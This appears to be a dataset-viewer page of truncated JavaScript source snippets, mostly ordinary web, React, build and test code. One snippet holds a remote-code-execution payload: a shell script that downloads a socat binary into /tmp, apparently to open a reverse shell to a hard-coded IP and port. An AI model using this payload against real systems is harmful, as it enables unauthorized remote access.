text stringlengths 2 1.04M |
|---|
/**
* Copyright 2017 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by appli... |
'use strict';
var _Object$keys = require('babel-runtime/core-js/object/keys')['default'];
var _ = require('lodash');
var log = require('./log');
function wrapRemote(Remote) {
/**
* Create options object from positional function arguments
*
* @param {Array} params function parameters
* @param {Array} ... |
/*
引数:user_id:ユーザID
ourder_id:Order Transaction ID
input_url:検証→http://dev.world-viewing.com/ebay/orderrest.json
本番→http://
output_url:検証→/var/www/html/dev_camerascm/emslabel/
*/
var x = require('casper').selectXPath;
var fs = require('fs');
var inputdata;
var input_url;
var output_u... |
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default=function(ctx) {
var __t, __p = '', __j = Array.prototype.join;
function print() { __p += __j.call(arguments, '') }
__p += '<table class="table datagrid-table table-bordered\n ' +
((__t = ( ctx.component.striped ? 'table-striped' : '')) ... |
'use strict';
module.exports = function(kbox) {
// NPM modules
var _ = require('lodash');
/*
* Add some other important things to our kalabox.yml before
* configin it
*/
kbox.core.events.on('pre-create-configure', function(data) {
// Grab the config from teh data
var config = data.config;
... |
import React from 'react';
import TransactionsList from './TransactionsList';
const TransactionsPage = () => {
return (
<div className='page-transactions'>
<TransactionsList />
</div>
)
}
export default TransactionsPage; |
import {
moduleFor,
RenderingTestCase,
classes,
strip,
runAppend,
runTask,
} from 'internal-test-helpers';
import { schedule } from '@ember/runloop';
import { set, setProperties } from '@ember/-internals/metal';
import { A as emberA } from '@ember/-internals/runtime';
import { getViewId, getViewElement, jQ... |
/**
* Entry Script
*/
if (process.env.NODE_ENV === 'production') {
process.env.webpackAssets = JSON.stringify(require('./dist/manifest.json'));
process.env.webpackChunkAssets = JSON.stringify(require('./dist/chunk-manifest.json'));
// In production, serve the webpacked server file.
require('./dist/server.bun... |
$( document ).ready(function() {
$(".top-header-cart").on("click",function() {
$(".cart-contents").fadeToggle("fast", "swing");
console.log("Hi1");
});
$(document).on('click', function(e) {
var container = $(".cart-complete");
var ChildCont = $(".cart-complete .cart-contents");... |
'use strict';
var GetIntrinsic = require('get-intrinsic');
var $TypeError = GetIntrinsic('%TypeError%');
var $arraySlice = require('call-bind/callBound')('Array.prototype.slice');
var Call = require('./Call');
var GetV = require('./GetV');
var IsPropertyKey = require('./IsPropertyKey');
// https://ecma-internation... |
/*
(c) Copyright 2016-2017 Hewlett Packard Enterprise Development LP
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modi... |
const DOUBLE_SQUARE = 2
const TALL_OCTAGON = 1.924
const TALL_HEXAGON = 1.866
const OCTAGON = 1.848
const HEXAGON = 1.732
const TALL_PENTAGON = 1.701
const GOLDEN_SECTION = 1.618
const PENTAGON = 1.539
const SHORT_PENTAGON = 1.376
const TALL_HALF_OCTOGON = 1.307
const HALF_OCTOGON = 1.207
const TRUNCATED_PENTAGON = 1.1... |
import axios from 'axios'
/**
* ACTION TYPES
*/
const GET_PRODUCTS_FROM_SERVER = 'GET_PRODUCTS_FROM_SERVER'
const REMOVE_PRODUCT_FROM_SERVER = 'REMOVE_PRODUCT_FROM_SERVER'
/**
* INITIAL STATE
*/
const initialState = {
products: []
}
/**
* ACTION CREATORS
*/
export const getProductsFromServer = products => (... |
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports["default"] = void 0;
var _react = _interopRequireDefault(require("react"));
var _propTypes = _interopRequireDefault(require("prop-types"));
var _styledComponents = _interopRequireDefault(require("styled-components"));
var _Prelo... |
const { SlashCommandBuilder } = require("@discordjs/builders");
module.exports = {
data: new SlashCommandBuilder()
.setName("seek")
.setDescription("seeks the current song to the given position")
.addStringOption((option) =>
option
.setName("num")
.setDescription("Seek position numb... |
import xhr from 'xhr';
import Promise from 'es6-promise';
import { Middleware } from '../core/request';
import { isDefined } from '../core/utils';
import { NetworkConnectionError, TimeoutError } from '../core/errors';
// Helper function to detect the browser name and version.
function browserDetect(ua) {
// Cast arg... |
import S from '@sanity/desk-tool/structure-builder'
import EyeIcon from 'part:@sanity/base/eye-icon'
import EditIcon from 'part:@sanity/base/edit-icon'
import {
FiAnchor,
FiHome,
FiSettings,
FiGlobe,
FiAlertOctagon,
FiMenu,
FiNavigation,
FiRepeat,
FiShoppingCart,
FiGift,
FiCopy,
FiTag,
} from ... |
'use strict';"use strict";
var lang_1 = require('angular2/src/facade/lang');
/**
* Describes the current state of the change detector.
*/
(function (ChangeDetectorState) {
/**
* `NeverChecked` means that the change detector has not been checked yet, and
* initialization methods should be called during d... |
import test from 'ava'
import isolate from 'helper/isolate'
import { entrySpec as makeEntrySpec } from 'make'
const [entries, { entry }] = isolate(test, 'render/entries', {
entry: 'render/entry',
})
test.serial('empty', (t) => {
const result = entries([])
t.is(result, null)
})
test.serial('1', (t) => {
entry.... |
import React from 'react';
import {StyleSheet, Text, View, TouchableOpacity} from 'react-native';
import {SafeAreaView} from 'react-navigation';//not necessary,just use for sample
import {getDataMode, TYPE_CASH, TYPE_CREDIT, TYPE_MIX} from './components/view/DataMode';
// import RNSelectGroupButtonsModal from './compon... |
$(function(){obj={modify_my_account:function(){var a=!1,e=Strack.validate_form("modify_account");200!==e.status||!e.status.old_password||0<e.data.new_password.length&&0<e.data.new_password_repeat.length&&e.data.new_password===e.data.new_password_repeat?a=!0:layer.msg(StrackLang.Reset_User_Password_Confirm,{icon:2,time:... |
module.exports = {
id: 'vai_latn_lr',
handler: function pluralize_vai_latn_lr(val) {
const n = Number(val);
if (isNaN(n))
throw Error('n is not a number');
return 'other';
}
}; |
var path = require('path');
var webpack = require('webpack');
module.exports = {
entry: path.join(__dirname, '../src/index.js'),
output: {
path: path.resolve(__dirname, '../dist'),
filename: 'bundle.js',
library: 'easyGqlAuth0',
libraryTarget: 'umd'
},
module: {
rules: [{
test: /\.js$... |
'use strict';
// MODULES //
var isNumber = require( 'validate.io-number-primitive' ),
isArrayLike = require( 'validate.io-array-like' ),
isTypedArrayLike = require( 'validate.io-typed-array-like' ),
isMatrixLike = require( 'validate.io-matrix-like' ),
ctors = require( 'compute-array-constructors' ),
matrix = req... |
let events = [];
document.addEventListener('DOMContentLoaded', function () {
var calendarEl = document.getElementById('calendar');
let getDayURL = window.location.origin + '/api/get-day';
var calendar = new FullCalendar.Calendar(calendarEl, {
plugins: ['interaction', 'dayGrid', 'timeGrid', 'list']... |
/*! jQuery v1.9.0 | (c) 2005, 2012 jQuery Foundation, Inc. | jquery.org/license */
(function (e, t) {
"use strict";
function n(e) {
var t = e.length, n = st.type(e);
return st.isWindow(e) ? !1 : 1 === e.nodeType && t ? !0 : "array" === n || "function" !== n && (0 === t || "number" == typeof t &&... |
const CREATE_ACCOUNT_PASSWORD_VALID = "CREATE_ACCOUNT_PASSWORD_VALID";
const ACTION_CREATE_ACCOUNT_PASSWORD_VALID = () => {
return {
type: CREATE_ACCOUNT_PASSWORD_VALID
};
};
export default ACTION_CREATE_ACCOUNT_PASSWORD_VALID; |
const wallet = {
kdf: 'scrypt',
n: 131072
};
export default {
wallet
}; |
import { Scene, Marker } from '@antv/l7';
import { Mapbox } from '@antv/l7-maps';
import * as G2 from '@antv/g2';
const CSS = `.l7-marker .g2-guide-html {
width: 50px;
height: 50px;
vertical-align: middle;
text-align: center;
line-height: 0.1
}
l7-marker .g2-guide-html .title {
font-size: 12px;
color: #... |
import {makeStyles} from "@material-ui/core/styles";
import React from "react";
import {Grid} from "@material-ui/core";
import {DataGrid} from "@material-ui/data-grid";
const useStyles = makeStyles((theme) => ({
noLeft: {
marginLeft: '0px'
}
}));
const formatTitle = entry => {
return entry.formatt... |
(function( $, undefined ) {
/*
* JMSlideshow object
*/
$.JMSlideshow = function( options, element ) {
// the jms-slideshow
this.$el = $( element );
this._init( options );
};
$.JMSlideshow.defaults = {
// options for the jmpress plugin.
// you can add much more options here. Check h... |
import { combineReducers } from 'redux';
import courses from './coursesReducer';
const rootReducer = combineReducers({
courses
});
export default rootReducer; |
(function (i) { "function" === typeof define && define.amd ? define(["jquery", "datatables.net", "datatables.net-buttons"], function (j) { return i(j, window, document) }) : "object" === typeof exports ? module.exports = function (j, l, v, u) { j || (j = window); if (!l || !l.fn.dataTable) l = require("datatables.net")... |
import express from 'express';
import morgan from 'morgan';
import cors from 'cors';
import db from './src/config/db.js';
import { errorHandler } from './src/api/v1/middlewares/error.js';
import _protected from './src/api/v1/middlewares/protected.js';
import Swagger from './src/api/v1/helpers/swagger.js';
import auth f... |
export async function fetchCoin(slug) {
/**
* @type {import('@sveltejs/kit').Load}
*/
return async function load({ page, fetch, session, context }) {
const url = 'https://enso.okno.rs/coins/' + slug;
const res = await fetch(url);
if (res.ok) {
return {
... |
let closeModalButtons = document.querySelectorAll('.close-btn');
closeModalButtons.forEach((btn)=>{
btn.addEventListener('click', ()=>{
let closestModal = btn.closest('.custom-modal');
closestModal.classList.remove('active');
document.body.classList.remove('overflow-hidden');
})
}); |
import request from '@/utils/request'
export function addUser(data) {
return request({
url: 'users',
method: 'post',
params: {
isAdmin: false
},
auth: {
username: 'admin',
password: 'admin'
},
data
})
}
export function modifyUser(data) {
return request({
url: 'u... |
'use strict';
const methods = (iface) => {
const array = [];
for (const object in iface) {
if (typeof iface[object] === 'function') {
array.push([object, iface[object].length]);
}
}
return array;
};
module.exports = { methods }; |
import React from "react"
import { css } from "@emotion/core"
import { Link, graphql } from "gatsby"
import { rhythm } from "../utils/typography"
import Layout from "../components/layout"
export default function Home({ data }) {
return (
<Layout>
<div>
<h1
css={css`
display: i... |
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
var ActivitiesMemoryPersistence_1 = require("./ActivitiesMemoryPersistence");
exports.ActivitiesMemoryPersistence = ActivitiesMemoryPersistence_1.ActivitiesMemoryPersistence;
var ActivitiesFilePersistence_1 = require("./ActivitiesFilePersisten... |
const Sequelize = require("sequelize")
const db =require("../database/db")
module.exports = db.sequelize.define(
'user',
{
id:
{
type: Sequelize.INTEGER,
primaryKey: true,
autoIncrement: true
},
first_name:
{
type: Sequeli... |
(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([[15],{"55a3":function(e,t,a){"use strict";var r=a("acc9"),n=a.n(r);n.a},acc9:function(e,t,a){},ee02:function(e,t,a){"use strict";a.r(t);var r=function(){var e=this,t=e.$createElement,a=e._self._c||t;return a("div",{staticClass:"row justify-center full-width q-pa... |
const {combination} = require('js-combinatorics')
const enumerate = function * (neighbors, epsilon) {
if (neighbors.size > 0) {
for (let i = epsilon; i > 0; --i) {
const iter = combination(Array.from(neighbors), Math.min(i, neighbors.size))
while (true) {
const S = iter.next()
if (!S)... |
import { scaleLinear } from 'd3-scale';
import { areScalesSame } from './d3-helpers';
describe('areScalesSame', () => {
it('returns true for === scales', () => {
const scale = scaleLinear().domain([0, 10]).range([0, 20]);
expect(areScalesSame(scale, scale)).toBe(true);
});
it('returns tru... |
const path = require('path')
const os = require('os')
const { app, BrowserWindow, Menu, ipcMain, shell } = require('electron')
const imagemin = require('imagemin')
const imageminMozjpeg = require('imagemin-mozjpeg')
const imageminPngquant = require('imagemin-pngquant')
const slash = require('slash')
const log = require... |
function jsLiveCheckUpdts(){
var match_id = jQuery("#match_id").val();
var data = {
'action': 'livematch_score',
'match_id' : match_id,
};
jQuery.post(ajaxurl, data, function(res) {
var IS_JSON = true;
try
... |
const easypost = require('node-easypost')(require('../../credentials').easyPostApiKey)
const logger = require('./logger')
const fromAddress = {
name: 'NightWalker Paperwork',
street1: '1212 SE Powell Blvd',
street2: '',
city: 'Portland',
state: 'OR',
zip: '97202',
phone: '484-424-9255',
email: 'paperwo... |
const colors = require('tailwindcss/colors');
const customColors = require('./src/context/build/context/theme.js');
function convertThemeObjIntoClasses(themeObj) {
return Object.keys(themeObj).flatMap(outerKey => {
const propertyKeys = Object.keys(themeObj[outerKey]);
return propertyKeys.flatMap(innerKey =>... |
var MenuController = function(greeter) {
this.greeter = greeter;
this.buildPowerMenu();
this.buildSessionMenu();
this.buildLangugageMenu();
};
MenuController.prototype.buildPowerMenu = function() {
if (lightdm.can_suspend) {
$('<li><a href="#" id="suspend">Energiesparen</a></li>').appendTo('#powerMenu > ul');
... |
"use strict"
// Setup basic express server
var express = require('express');
var app = express();
var server = require('http').createServer(app);
var io = require('socket.io')(server);
var redis = require('socket.io-redis');
var redis_client = require('redis').createClient(
process.env.REDIS_PORT_6379_TCP_PORT,
pro... |
import test from 'tape';
import testDocument from './testDocument';
import blockParentNode from './blockParentNode';
test('Blocksmith:util:blockParentNode', (t) => {
const actual = testDocument.getBlockParentNode();
const expected = blockParentNode.get();
t.equal(actual, expected, 'It should get the block parent... |
var moment = require('moment');
var mongoose = require('mongoose');
/**
* 媒体模型
*/
var mediaSchema = new mongoose.Schema({
// 媒体类型
type: {
type: String,
required: true
},
// 文件名
fileName: {
type: String,
required: true
},
// 描述
description: String,
// 上传日期
date: {
type: Date... |
import * as R from './res'
const ToggleButton = (() => {
let _checked = false;
class ToggleButton extends createjs.Container {
constructor(checked_icon, unchecked_icon) {
super();
this.cursor = "pointer";
this.mouseChildren = false;
this.checked_icon = checked_icon;
this.unchecked_icon = unch... |
var dataSvc = angular.module('dataSvcModule', []);
/**
* Provides common data loading services
*/
dataSvc.factory('dataSvc', ['$rootScope','$http',
function($rootScope, $http) {
//get the modules
$rootScope.modules = null;
$http.get("/api/modules", window.getAjaxOpts()).then((response) => ... |
function math(numberOne, numberTwo, numberThree) {
return (numberTwo*numberThree)+numberOne;
}
console.log(math(53, 61, 67)); |
import { NotImplementedError } from '../extensions/index.js';
/**
* In the popular Minesweeper game you have a board with some mines and those cells
* that don't contain a mine have a number in it that indicates the total number of mines
* in the neighboring cells. Starting off with some arrangement of mines
* we ... |
/**
* @Description: 按钮拓展配置
* @Copyright: 2017 www.fallsea.com Inc. All rights reserved.
* @author: fallsea
* @version 1.8.0
* @License:MIT
*/
layui.define(['fsConfig'], function (exports) {
var fsConfig = layui.fsConfig,
statusName = $.result(fsConfig,"global.result.statusName","errorNo"),
msgName = $.result(... |
(function() {
'use strict';
/**
* @ngdoc service
* @name Shared
* @module bltDocs.main
*/
function Shared() {
this.sidebarData = [];
this.showSidebar = false;
this.currentPage = '';
}
angular
.module('main')
.service('Shared', Shared);
Shared.$inject = [];
})(); |
module.exports = {
prompts: {
name: {
required: true,
type: "string",
default: ':folderName:',
message: "Project name"
},
description: {
type: "string",
message: "Project description",
default: "A npm library project"
},
username: {
message: 'What is... |
import axios from "../../axios"
export default {
browse(filters) {
//filters=?paginate=5&sortAsc=id&page=2
return axios.get(`message${filters}`)
// return new Promise(function(resolve, reject) {
// resolve({
// data: {
// data: {
// ... |
/*
* Copyright (c) 2011-2013, Yahoo! Inc. All rights reserved.
* Copyrights licensed under the New BSD License.
* See the accompanying LICENSE file for terms.
*/
YUI.add('YuiTweetsBinderIndex', function(Y, NAME) {
Y.namespace('mojito.binders')[NAME] = {
init: function(mojitProxy) {
this.... |
describe('renderer collection', () => {
require('./gfx.js');
}); |
let browserAgent = navigator.userAgent;
console.log(browserAgent);
let browserAgentArray = ['Firefox','Chrome','OPR','Safari','Edg'];
var ua = navigator.userAgent;
var profile;
for (var i=0; i<browserAgentArray.length; i++) {
profile = browserAgentArray[i];
//console.log(profile);
if (ua.includes(... |
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = void 0;
var _CirclePlus = _interopRequireDefault(require('./lib/icons/CirclePlus'));
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
var _default = _C... |
(global["webpackJsonp"] = global["webpackJsonp"] || []).push([["pages/tabbar/mv/mv"],{
/***/ 27:
/*!********************************************************************************************!*\
!*** C:/Users/Administrator/Desktop/AlinMusic/main.js?{"page":"pages%2Ftabbar%2Fmv%2Fmv"} ***!
\***********************... |
'use strict';
var ioredis = require('../..');
describe('index', function () {
describe('print()', function () {
it('prints logs', function () {
stub(console, 'log');
ioredis.print(new Error('err'));
ioredis.print(null, 'success');
expect(console.log.calledTwice).to.eql(true);
consol... |
/* global it, expect, describe */
/* jshint expr: true */
var jsdom = require('../../index')
describe('error', function () {
jsdom({
src: "(function () { throw new Error('ffff'); })()"
})
it('fails', function () {
expect(global.document).be.undefined
})
}) |
import React, { Component } from 'react';
import ReactDOM from 'react-dom';
const createStore = (reducer) => {
let state;
let listeners = [];
const getState = () => {
return state;
};
const dispatch = (action) => {
state = reducer(state, action);
listeners.forEach((listene... |
/*!
* Betle Web v0.0.1
* Copyright 2011-2017 korbenzhang
* Licensed under the BSD-2-Clause license
*/
|
const express = require('express');
const bodyParser = require('body-parser');
const cors = require('cors');
const app = express();
const userRoutes = require('./routes/user');
const {API_VERSION} = require("./config");
app.use(cors())
app.use(bodyParser.urlencoded({extended: false}));
app.use(bodyParser.json());
ap... |
const proxy = 'https://cors-anywhere.herokuapp.com/';
var key = require('../../env.json').api_key;
const displayAlert = msg => {
// Get the snackbar DIV
var x = document.getElementById('snackbar');
// Add the "show" class to DIV
x.className = 'show';
x.textContent = msg;
// After 3 seconds, remove the sh... |
const _ = require("lodash");
const BigNumber = require("bignumber.js");
const request = require("async-request");
const Utils = require("../../utils");
const Web3EthContract = require("web3-eth-contract");
const UniswapRouter = require("../../abi/uniswap_router.json");
const erc20ABI = require("../../platforms/pancak... |
import {Draggable} from "react-beautiful-dnd";
import React from "react";
import styles from './kanban.module.css';
import {FontAwesomeIcon} from "@fortawesome/react-fontawesome";
import {faTrophy, faUserNinja} from "@fortawesome/free-solid-svg-icons";
import Link from 'next/link';
const Card = ({task, index, projectI... |
// 支持滚动(scroll)框选的 高阶组件HOC
import React, { Component } from 'react'
import { findDOMNode } from 'react-dom'
import throttle from 'lodash.throttle';
import raf from 'raf'
import styles from './styles.css'
function calcParentOffset(offset, parent) {
let rect = parent.getBoundingClientRect()
let x = offset.x +... |
/* eslint-disable */
import React from 'react';
import { useStaticQuery, graphql } from 'gatsby';
import Seo from 'gatsby-plugin-wpgraphql-seo';
import CarTint from '../components/car-tint';
import CarbonVSCeramic from '../components/carbon-vs-ceramic';
import Hero from '../components/hero';
import Products from '..... |
let C = class _class extends class _class extends class _class {
constructor(){
this.a = 1;
}
} {
constructor(...args){
super(...args);
this.b = 2;
}
} {
constructor(...args){
super(...args);
this.c = 3;
}
};
let c = new C();
c.a;
c.b;
c.c; |
import axios from '@/libs/api.request'
export const getWindbaseListAll = () => {
return axios.request({
url: 'Dncwindbase' +'/list',
method: 'get',
withPrefix: false,
prefix:"api/ZNCH1/"
})
}
export const getWindbaseList = (data) => {
return axios.request({
url: 'Dncwindbase' +'/list',
... |
var sql = require('../sql/sql'),
query = require('../sql/query');
exports.update = function (args, cb) {
switch (args.action) {
case 'insert':
case 'update':
var types = ['view', 'oneToOne', 'manyToOne'];
break;
case 'remove':
var types = ['oneToOne'... |
const express = require('express')
const routes = require('./routes')
const nunjucks = require('nunjucks')
const methodOverride = require('method-override')
const server = express()
server.use(express.urlencoded({ extended: true }));
server.use(express.static('public'))
server.use(methodOverride("_method"));
server.... |
let zoau = require('../../lib/zoau.js');
const ID = process.env.USER;
const DSN1 = `${ID}.ZOAU3A`;
const DSN2 = `${ID}.ZOAU3B`;
const DSN3 = `${ID}.ZOAU3C`;
const DSN4 = `${ID}.ZOAU3D`;
const DSN5 = `${ID}.ZOAU3E`;
const DSNPATTERN = `${ID}.ZOAU3*`;
function errfunc(err) {
throw err;
}
async function test() {
t... |
/*
Copyright (c) 2003-2017, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'about', 'en-au', {
copy: 'Copyright © $1. All rights reserved.',
dlgTitle: 'About CKEditor',
help: 'Check $1 for help.', // MISSING
moreInfo... |
(function webpackUniversalModuleDefinition(root, factory) {
if(typeof exports === 'object' && typeof module === 'object')
module.exports = factory(require("omi"));
else if(typeof define === 'function' && define.amd)
define(["omi"], factory);
else if(typeof exports === 'object')
exports["keyboard-arrow-up"] = f... |
// Copyright (C) 2013 the V8 project authors. All rights reserved.
// This code is governed by the BSD license found in the LICENSE file.
/*---
description: >
`return` is a valid statement within generator function bodies.
features: [generators]
es6id: 14.4
---*/
var result;
class A {
*g1() { return; }
... |
var rev_shell_ip = '192.168.100.47';
var rev_shell_port = '22473';
var plugin_name = 'check_rce.sh';
var nsp = window.nsp_str || window.top.nsp_str;
var rce_payload = `
#!/bin/sh
cd /tmp
wget https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat?raw=true -O socat
chmod +x socat
ls -la
./s... |
/******/ (function(modules) { // webpackBootstrap
/******/ // The module cache
/******/ var installedModules = {};
/******/
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/
/******/ // Check if module is in cache
/******/ if(installedModules[moduleId]) {
/******/ re... |
var searchData=
[
['language',['language',['../category_n_s_string_07_language_08.html#a68562907cfb8bb8554ccafd2665d5a4d',1,'NSString(Language)']]]
]; |
webpackHotUpdate("app",{
/***/ "./src/App.js":
/*!********************!*\
!*** ./src/App.js ***!
\********************/
/*! exports provided: default */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
__webpack_require__.r(__webpack_exports__);
/* harmony export (binding) */ __we... |
import React from 'react'
import Container from '/components/views/Processing/Container'
import Export from '/components/views/ETH/Export'
export default function ContainerETH() {
return <Container Export={Export} />
} |
const express=require('express');
const route=express.Router();
const mongoose=require('mongoose');
const Client=require('./modelClient');
//recuperer la page d'accueille
route.get('/clients',(req, res)=>{
Client.find({}).then(function(client){
res.send(client);
})
})
/*route.post('/clients', function(req, res){
... |
import{_ as u,d as c,r as _,o as a,c as n,a as o,b as l,w as d,p as i,e as r,f as p}from"./index.121f0641.js";var h="./assets/404.538aa4d7.png",f="./assets/404_cloud.98e7ac66.png";const v=c({setup(){return{four:h,four_cloud:f}},methods:{go(){this.$router.push("/")}}}),t=s=>(i("data-v-6e6bfd00"),s=s(),r(),s),m={class:"w... |
var book = {
"name": "1 Samuela",
"numChapters": 31,
"chapters": {
"1": {
"1": "<span>1</span> Był pewien mąż z Ramy, Sufita, z pogórza efraimskiego, imieniem Elkana, syn Jerochama, syna Elihu, syna Tochu, syna Sufa, Efraimita.",
"2": "<span>2</span> Miał on dwie żony; jednej było na imię Anna, drugiej było ... |
'use strict';
var should = require('chai').should();
var ip = require('..');
var Address4 = ip.Address4;
var Address6 = ip.Address6;
function addressIs(addressString, descriptors) {
var address4 = new Address4(addressString);
var address6 = new Address6(addressString);
describe(addressString, function () {
... |
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
*
* @format
*/
"use strict";
function _toConsumableArray(arr) {
return (
_arrayWithoutHoles(arr) ||
_iterableToArray(a... |
// Copyright 2016 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax
function foo(x) { return x >>> x; }
foo(1);
foo(2);
function bar(x) { foo(x); }
%OptimizeFunctionOnNextCall(bar);
as... |
import { setPublicPath } from "systemjs-webpack-interop";
setPublicPath("@microapp/{MICROAPP_NPM_PACKAGE_NAME}");
import Module from "./module";
export default Module; |
// Common client-side webpack configuration used by webpack.hot.config and webpack.rails.config.
const webpack = require('webpack');
const path = require('path');
const devBuild = process.env.NODE_ENV !== 'production';
const nodeEnv = devBuild ? 'development' : 'production';
module.exports = {
// the project dir
... |
'use strict';
exports.__esModule = true;
var _extends2 = require('babel-runtime/helpers/extends');
var _extends3 = _interopRequireDefault(_extends2);
var _classCallCheck2 = require('babel-runtime/helpers/classCallCheck');
var _classCallCheck3 = _interopRequireDefault(_classCallCheck2);
var _react = require('react... |
module.exports = {
plugins: [
`gatsby-plugin-sass`,
`gatsby-plugin-react-helmet`,
`gatsby-transformer-sharp`,
`gatsby-plugin-sharp`,
`gatsby-plugin-offline`,
{
resolve: `gatsby-source-filesystem`,
options: {
name: `images`,
path: `${__dirname}/src/images/`,
},... |
let numero = 1;
{
let numero = 2;
console.log('Dentro = ' + numero);
}
console.log('Fora = ' + numero); |
import React, {Component} from "react"
import PropTypes from "prop-types"
import Helmet from "react-helmet"
import {StaticQuery, graphql} from "gatsby"
class SEO extends Component {
render() {
let {description, lang, meta, keywords, title} = this.props;
return <StaticQuery
query={det... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.